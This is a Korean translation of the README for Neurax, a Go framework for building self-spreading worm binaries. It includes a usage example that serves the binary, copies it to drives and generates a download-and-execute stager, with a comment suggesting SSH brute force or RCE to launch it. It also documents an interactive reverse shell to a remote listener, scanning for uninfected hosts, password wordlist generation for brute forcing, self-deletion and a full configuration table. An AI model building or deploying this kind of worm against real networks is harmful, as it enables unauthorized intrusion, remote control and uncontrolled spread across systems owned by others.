
자기 전파 바이너리를 구축하기 위한 프레임워크
자가 확산 소프트웨어 생성을 돕는 프레임워크
Neurax를 사용하면 Golang 바이너리가 외부 서버 없이 LAN/WAN에서 확산될 수 있습니다.
다양한 구성 옵션과 명령 스테이저는 다양한 무선 환경에서 빠른 확산을 가능하게 합니다.
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Specify serving port and stager to use
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Start a server that exposes the current binary in the background
go NeuraxServer()
//Copy current binary to all logical drives
NeuraxDisks()
//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()
/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */
}
unlinkat(2)를 통한 자동 자체 제거N.StagerBg)N.NoInfectCheck)NeuraxServer() 내부에 배치된 독점 파일 뮤텍스로 강제되는 대상 머신에서의 단일 실행 정책httrack 스테이저N.StagerRemovalDelay).FastScan 옵션NeuraxScan()이 채널 대신 콜백 함수를 인수로 받음NeuraxScan()이 전체 서브넷/대상 풀의 각 스캔 사이에 간격을 설정할 수 있는 무한 루프로 스캔NeuraxConfig.이 N.으로 변경됨 (입력이 더 짧으므로)wget + curl).WordlistExpand 등 옵션 사용)NeuraxScan(func(string)) 함수는 로컬 네트워크에서 활성 호스트를 감지할 수 있게 합니다.
유일한 인수는 모든 활성 호스트에 대해 백그라운드에서 호출되는 콜백 함수입니다.
호스트는 최소 1개의 열린 포트가 있고, 이미 감염되지 않았으며, N. 내에 지정된 조건을 충족할 때 활성으로 간주됩니다.
NeuraxScan()은 무한 루프로 실행됩니다. .Cidr 구성 항목으로 지정된 전체 서브넷을 스캔하고, 모든 호스트가 스캔되면 .ScanInterval에 지정된 간격만큼 sleep합니다.
Neurax 바이너리는 무선 수단을 사용하여 자체를 복사할 필요가 없습니다.
NeuraxDisks() 함수는 현재 바이너리(의심스럽지 않은 이름으로)를 발견된 모든 논리 드라이브에 복사합니다.
복사된 바이너리는 실행되지 않고, 단지 실행되기를 기다리며 대상에 상주합니다.
NeuraxDisks()는 디스크 목록을 가져올 수 없거나 대상에 복사가 불가능한 경우 error를 반환합니다.
또 다른 함수인 NeuraxZIP(num_files int) err는 현재 바이너리를 포함하는 무작위 이름의 .zip 아카이브를 생성할 수 있습니다.
현재 디렉토리에 저장되며, 최대 num_files개의 무작위 파일을 포함합니다.
NeuraxZIPSelf()는 단순히 현재 바이너리를 압축하여 동일한 이름의 아카이브를 생성합니다.
NeuraxReverse()로 대화형 리버스 셸을 설정할 수 있습니다.
이 함수는 .ReverseListener 내에 "<host>:<port>" 형식으로 지정된 호스트 이름에서 명령을 수신합니다.
사용되는 프로토콜은 .ReverseProto에 정의됩니다.
NeuraxOpenComm()이 이 함수 호출 전에 시작된 경우, 각 명령은 위 섹션에서 설명한 대로 동작합니다.
그렇지 않은 경우 명령이 로컬에서 실행됩니다.
참고: 이 함수는 수신에 사용되는 무한 루프로 인한 차단을 방지하기 위해 고루틴으로 실행되어야 합니다.
노드가 "purge" 명령을 수신하면, 이 명령을 다른 모든 노드에 재전송하고, 호스트에서 자체를 제거한 후 종료합니다.
이 동작은 소스 내 어딘가에서 NeuraxPurge()를 실행하여 시작할 수도 있습니다.
선택한 확산 벡터가 어떤 형태의 무차별 대입을 기반으로 하는 경우, 적절한 단어 목록을 준비하는 것이 좋습니다.
클라이언트 측에서 텍스트 파일에 단어를 저장하는 것은 효율적이지 않으므로, NeuraxWordlist(...words) []string을 사용하여 기본 단어 목록을 변형할 수 있습니다.
주어진 단어 집합을 순열하려면 NeuraxWordlistPermute(..words) []string을 사용하십시오.
바이너리가 지정된 시간 후에 자체를 제거하도록 하려면 코드 시작 부분에 NeuraxSetTTL()을 사용하십시오.
이 함수는 고루틴으로 실행되어야 합니다.
예:
go NeuraxSetTTL("2m")
는 초기 실행 후 2분 후에 NeuraxPurgeSelf()를 실행하도록 합니다.
주어진 플랫폼에서 사용 가능한 모든 스테이저를 연결하려면 .Stager를 "chain"으로 설정하십시오.
초기 실행 후 바이너리를 복사해야 하는 경우 NeuraxMigrate(path string)을 사용하십시오.
이 함수는 바이너리를 path 아래에 복사하고, 현재 바이너리를 제거한 후 새로 마이그레이션된 바이너리를 실행합니다.
이 프로젝트가 마음에 들고 성장하는 모습을 보고 싶으시다면, 작은 기부를 고려해 주세요 :>
이 소프트웨어는 MIT 라이선스를 따릅니다.
| 이름 | 설명 | 기본값 |
|---|
| Nrx.Config.Stager | 사용할 명령 스테이저의 이름 | 무작위, 플랫폼 호환 |
| Nrx.Config.StagerSudo | true인 경우 Linux cmd 스테이저가 상승된 권한으로 실행됨 | false |
| Nrx.Config.StagerRetry | 명령 스테이저를 재실행할 횟수 | 0 |
| Nrx.Config.StagerRemoveDelay | 다운로드한 바이너리를 제거하기 전에 Sleep 명령 적용 | true |
| Nrx.Config.Port | 서빙할 포트 | 6741 |
| Nrx.Config.Platform | 대상 플랫폼 | 자동 감지 |
| Nrx.Config.Path | 호스트에 바이너리가 저장되는 경로 | . |
| Nrx.Config.FileName | 다운로드한 바이너리가 제공 및 저장될 이름 | 무작위 |
| Nrx.Config.Base64 | 전송된 바이너리를 base64로 인코딩 | false |
| Nrx.Config.CommPort | 바이너리가 서로 통신하는 데 사용하는 포트 | 7777 |
| Nrx.Config.CommProto | 노드 간 통신 프로토콜 | "udp" |
| Nrx.Config.ReverseListener | 원격 리버스 셸 핸들러의 "<host>:<port>" 포함 | 지정되지 않음 |
| Nrx.Config.ReverseProto | 리버스 연결에 사용할 프로토콜 | "udp" |
| Nrx.Config.ScanRequiredPort | NeuraxScan()은 특정 포트가 열려 있는 경우에만 호스트를 활성으로 간주 | 없음 |
| Nrx.Config.ScanPassive | NeuraxScan()이 수동 ARP 트래픽 모니터링을 사용하여 호스트 감지 | false |
| Nrx.Config.ScanPassiveTimeout | NeuraxScan()이 ARP 계층을 모니터링하는 시간(초) | 50초 |
| Nrx.Config.ScanPassiveIface | 수동 스캔 시 사용할 인터페이스 | 기본 |
| Nrx.Config.ScanActiveTimeout | NeuraxScan()이 각 스레드에서 스캔된 포트의 타임아웃 값(초) | 2초 |
| Nrx.Config.ScanPassiveAll | NeuraxScan()이 발견된 모든 장치에서 패킷 캡처 | false |
| Nrx.Config.ScanPassiveNoArp | 수동 스캔이 엄격한 ARP 캡처 필터를 설정하지 않음 | false |
| Nrx.Config.ScanFirst | 먼저 스캔할 IP 주소를 포함하는 슬라이스 | []string{} |
| Nrx.Config.ScanFirstOnly | NeuraxScan()이 .ScanFirst에 지정된 호스트만 스캔 | false |
| Nrx.Config.ScanArpCache | NeuraxScan()이 로컬 ARP 캐시에서 발견된 호스트를 먼저 스캔. 활성 스캔에서만 작동 | false |
| Nrx.Config.ScanCidr | NeuraxScan()이 이 CIDR을 스캔 | 로컬 IP + "\24" |
| Nrx.Config.ScanActiveThreads | NeuraxScan()에 사용할 스레드 수 | 10 |
| Nrx.Config.ScanFullRange | NeuraxScan()이 대상 호스트의 모든 포트를 스캔하여 활성 여부 확인 | 19~300 |
| Nrx.Config.ScanInterval | 전체 서브넷 스캔 후 대기할 시간 간격 | "2m" |
| Nrx.Config.ScanHostInterval | 활성 모드에서 다음 호스트 스캔 전 대기 시간 간격 | "없음" |
| Nrx.Config.ScanGatewayFirst | 활성 스캔 사용 시 게이트웨이가 가장 먼저 스캔됨 | false |
| Nrx.Config.Verbose | true인 경우 모든 오류 메시지가 STDOUT에 출력됨 | false |
| Nrx.Config.Remove | 오류 발생 시 바이너리가 호스트에서 자체 제거 | false |
| Nrx.Config.PreventReexec | true인 경우 이전에 수신된 명령과 일치하는 명령이 실행되지 않음 | true |
| Nrx.Config.WordlistExpand | NeuraxWordlist()가 입력 단어에 비표준 변환 수행 | false |
| Nrx.Config.WordlistCommon | 단어 목록 앞에 가장 흔한 비밀번호 20개 추가 | false |
| Nrx.Config.WordlistCommonNum | 사용할 일반 비밀번호 개수 | 모두 |
| Nrx.Config.WordlistCommonCountries | 국가 코드와 사용할 비밀번호 수를 포함하는 map[string]int | map[string]int |
| Nrx.Config.WordlistMutators | .WordlistExpand 지정 시 사용할 변형기 | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | NeuraxWordlistPermute()에서 생성하는 순열의 최대 길이 | 2 |
| Nrx.Config.WordlistPermuteSeparator | 순열에 사용할 구분 문자 | "-" |
| Nrx.Config.WordlistShuffle | 생성된 단어 목록 반환 전 섞기 | false |
| Nrx.Config.AllocNum | 이 항목은 NeuraxAlloc()이 무작위 메모리를 할당하는 횟수를 정의 | 5 |
| Nrx.Config.Blacklist | 모든 유형의 스캔에서 제외되는 IP 주소를 포함하는 슬라이스 | []string{} |
| Nrx.Config.FastHTTP | IsHostInfected()의 HTTP 요청이 fasthttp 라이브러리를 사용하여 수행됨 | false |
| Nrx.Config.Debug | 디버그 메시지 활성화 | false |
| Nrx.Config.NoInfectCheck | 호스트가 이미 감염되었는지 확인 비활성화 | true |